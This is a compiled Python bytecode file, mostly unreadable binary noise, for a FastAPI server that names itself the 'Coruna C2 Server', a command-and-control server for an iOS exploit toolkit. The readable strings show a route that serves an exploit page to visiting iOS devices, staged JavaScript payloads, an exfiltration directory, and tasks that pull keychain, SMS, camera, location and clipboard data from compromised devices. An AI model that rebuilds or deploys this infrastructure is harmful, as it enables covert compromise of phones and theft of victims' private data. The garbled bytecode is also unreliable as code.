+
-Xj R t ^ RIHtHtHtHt ^ RIHt ^ RIH t ^ RI
H t ^ RI H
t
^ RIt^ RIHt ^ RIHtHt ^ R IHt ^ R
IHtHtHtHtHtH t H t ]! 4 t]
R R l4 t ]! R
RR] R7 t ] PA ] R.RR.R.R7 ] PC ]PD 4 ] PC ]PD 4 ] PC ]PD 4 ] PC ]PD 4 ] PC ]PD 4 ] PC ] PD 4 ] P9 R4 R R l4 t#] P9 R4 R R l4 t$]! ]%4 PL PL t']'R, R, t(](PS 4 ' d" ] PU R ]! ]+! ](4 R 7 RR 7 ]PX PS 4 ' d, ] PU R ]! ]+! ]PX 4 R 7 R R 7 ]'R!, t-]-PS 4 ' d" ] PU R"]! ]+! ]-4 R 7 R!R 7 ]'R#, t.].PS 4 ' d" ] PU R$]! ]+! ].4 R 7 R#R 7 ]'R%, t/]/PS 4 ' d" ] PU R&]! ]+! ]/4 R 7 R%R 7 ] Pa R'] R(7 R) 4 t1] Pa R*] R(7 R+ 4 t2] Pa R,4 R- 4 t3] Pa R.4 R/ 4 t4] Pa R04 R1 4 t5] Pa R24 R3 4 t6] Pa R44 R5 R6 l4 t7^ R7IH8t8 ^ R8IH9t9 ] Pu ]84 R9 R: l4 t;] Pu ]<4 R; R< l4 t=]>R=8X d2 ^ RI?t?]?P ! R>]P ]P RR?R@7 R# R# )Au FastAPI 主应用)FastAPIRequestDepends WebSocket) StaticFiles) HTMLResponse)CORSMiddleware)asynccontextmanagerN)Path)engineBase)
get_config)devicestasksupload postexploitadmin websocketpayloadsc $ V ^8 d QhR\ /# ) app)r )formats "> /Users/wind/Downloads/Coruna-main学习资料A/backend/main.py __annotate__r s c " \ P P \ R7 \ P
P
RRR7 \ P P
RRR7 \ P P
RRR7 \ R4 \ R4 \ R\ P R\ P 24 R5x \ R 4 R# 5i)
u 应用生命周期管理)bindT)parentsexist_okz[OK] Database initializedz[OK] Directories createdz [OK] Server running on: http://:NzShutting down...) r metadata
create_allr config EXFIL_DIRmkdirLOG_DIR PAYLOADS_DIRprintHOSTPORT)r s &r lifespanr+ s MM & ) 4$7
NN5
dT :
%&
$% +FKK=&++
GH
s C C Coruna C2 Serverz2Command and Control server for iOS exploit toolkit1.0.0)title descriptionversionr+ *T)
allow_originsallow_credentials
allow_methods
allow_headersz/ws/device/{device_uuid}c 0 V ^8 d QhR\ R\ /# )r r device_uuid)r str)r s "r r r E s N Ny Ns Nr c B " ^ RI Hp V! WRR7 G Rj xL
R# L5i)u 设备 WebSocket 连接端点websocket_endpointF)r7 r N
api.websocketr; )r r7 r; s && r websocket_device_endpointr> D s 1
Yu
MMM z /ws/adminc $ V ^8 d QhR\ /# )r r )r )r s "r r r L s 4 4i 4r c B " ^ RI Hp V! V RR7 G Rj xL
R# L5i)u 管理员 WebSocket 连接端点r: T)r Nr< )r r; s & r websocket_admin_endpointrB K s 1
Yd
333r? frontendstaticz/static) directory)namez/exfilexfil
downloadedz /downloadedr z /payloadsotherz/other/)response_classc " \ R, R, p V P 4 ' d2 \ V RRR7 ;_uu_ 4 pVP 4 uuRRR4 # R# + ' g i R# ; i5i)u 根路径 - 返回管理面板rC z
admin.htmlrutf-8encodingNa
Coruna C2 Server
Coruna C2 Server
Server is running. API documentation available at /docs
WebSocket endpoints:
- Device: ws://host:port/ws/device/{device_uuid}
- Admin: ws://host:port/ws/admin
) project_rootexistsopenread)
admin_htmlfs r rootrW r sY
*\9J
*cG
4
4668 5
4 5
4 s AA4A
A4 A1 + A4z /group.htmlc " \ R, p V P 4 ' d2 \ V RRR7 ;_uu_ 4 pVP 4 uuRRR4 # \ RRR7 # + ' g i L ; i5i) u9 漏洞利用页面 - iOS设备访问此页面触发漏洞z
group.htmlrM rN rO Nz group.html not found
content status_code)rQ rR rS rT r )
group_htmlrV s r
group_pager^ sX ,J
*cG
4
4668 5
4 ?S QQ 5
4s :A7A$ A7$ A4 /A7z/platform_module.jsc " \ R, p V P 4 ' d@ \ V RRR7 ;_uu_ 4 pVP 4 pRRR4 ^ RIHp V! XRR7 # X! R R
R 7 # + ' g i L*; i5i) u 平台模块 JSzplatform_module.jsrM rN rO NResponseapplication/javascriptr[
media_type // Not foundrY rZ rQ rR rS rT fastapi.responsesra module_filerV r[ ra s r platform_module_jsrj sh !55K
+sW
5
5ffhG 6.4LMM N << 6
5 :BA/
"B/ A? :Bz/utility_module.jsc " \ R, p V P 4 ' d@ \ V RRR7 ;_uu_ 4 pVP 4 pRRR4 ^ RIHp V! XRR7 # X! R R
R 7 # + ' g i L*; i5i) u 工具模块 JSzutility_module.jsrM rN rO Nr` rb rc re rY rZ rf rh s r utility_module_jsrm sh !44K
+sW
5
5ffhG 6.4LMM N << 6
5rk z/healthc " RRRRRR/# 5i)u 健康检查端点statushealthyserverz Coruna C2r0 r- rr r r health_checkrs s )+7 s z /api/infoc ^ " RRRRR\ P R\ P R. RO/# 5i) u 服务器信息rq r, r0 r- supported_ios_versionsexploit_stages
task_types)
shellr download
screenshotkeychaincontactsmscameralocationapp_list process_list wifi_scan clipboard)r# SUPPORTED_IOS_VERSIONSEXPLOIT_STAGESrr r r server_infor s: $7 &"?"?&//
s +-z/{filename}.jsc $ V ^8 d QhR\ /# )r filename)r8 )r s "r r r s = =# =r c " ^ RI Hp \ V R2, pVP 4 ' d: \ VRRR7 ;_uu_ 4 pVP 4 pRRR4 V! XRR7 # \ R , V R2, pVP 4 ' d: \ VRRR7 ;_uu_ 4 pVP 4 pRRR4 V! XRR7 # V! R
R R 7 # + ' g i L; i + ' g i L7; i5i)
uQ 兜底路由 — 服务项目根目录下的所有 .js 文件（Stage1/2/3 等）r` z.jsrM rN rO Nrb rc rI re rY rZ )rg ra rQ rR rS rT )r ra js_filerV r[ s & r
serve_root_jsr s +z --G~~
'3
1
1QffhG 24LMMW$(3'77G~~
'3
1
1QffhG 24LMM N << 2
1 2
1s< AC>C>C>C>+C+< C> C( #C>+ C; 6C>)
HTTPException) JSONResponsec 0 V ^8 d QhR\ R\ /# r requestexc)r r )r s "r r r s '
r c l " \ VP RRRVP RVP /R7 # 5i)u HTTP 异常处理errorTmessager\ r\ r[ )r r\ detail)r r s &&r http_exception_handlerr s7 OO T szz 3??
s 24c 0 V ^8 d QhR\ R\ /# r )r Exception)r s "r r r s
W
9
r c " ^ RI p\ RV 24 \ VP 4 4 \ RRRRRR\ V4 /R 7 # 5i)
u 通用异常处理NzUnhandled exception: i r Tr zInternal server errorr r ) tracebackr(
format_excr r8 )r r r s && r general_exception_handlerr sT !#
'( )
! T . c#h
s AA
__main__zbackend.main:appinfo)hostportreload log_level)C__doc__fastapir r r r fastapi.staticfilesr rg r fastapi.middleware.corsr
contextlibr ospathlibr
databaser r r# r
apir r r r r r r r+ r add_middlewareinclude_routerrouterr> rB __file__parentrQ
static_dirrR mountr8 r$ downloaded_dir payloads_dir other_dirgetrW r^ rj rm rs r r r r exception_handlerr r r __name__uvicornrunr) r* rr r r r s 8 8 + * 2 * ! O O O *
D
%%% 7>> " 5<< 6== ! ;%% & 5<< 8?? # )*N +N {4 4 H~$$++ J
&
1
IIis:?hIO
IIh c&2B2B.CD7IS ,IIm[3~3F GlI[ j( IIk;\1BC*IU
7 " IIh c)n=GIL
\* +6 |4R 5R = = = = " = =& " * }% & y!
"
z KK
[[
[[ r